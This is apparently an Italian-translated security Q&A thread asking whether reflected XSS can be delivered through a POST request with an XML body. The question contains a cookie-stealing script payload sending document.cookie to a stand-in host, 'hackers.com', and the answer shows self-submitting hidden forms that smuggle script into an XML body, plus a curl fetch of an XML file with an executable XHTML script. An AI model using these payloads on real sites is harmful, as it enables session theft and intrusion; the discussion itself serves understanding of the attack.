Attacco XSS riflesso tramite richiesta POST e payload XML

6

So che un XSS riflesso può essere fatto con una richiesta GET come:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

Finché la risposta è simile a questa:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

Ma questo attacco è ancora possibile, nel caso in cui il termine di ricerca venga inviato lungo una richiesta POST nel corpo http come parte del contenuto XML. Questo approccio viene spesso utilizzato dai servizi RESTful.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

Se questo è possibile, come può raggiungere un attaccante?

[EDIT]

È anche richiesto che l'intestazione Content-Type sia impostata su application/xml

    
posta My-Name-Is 15.09.2013 - 22:30
fonte

1 risposta

7

L'attaccante può usare il modulo remoto auto inoltrato con i valori predefiniti. così:

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>
<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

E aggiungi uno script con lo spazio dei nomi XHTML, verrà eseguito. Esempio

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

    
risposta data 16.09.2013 - 08:06
fonte

Leggi altre domande sui tag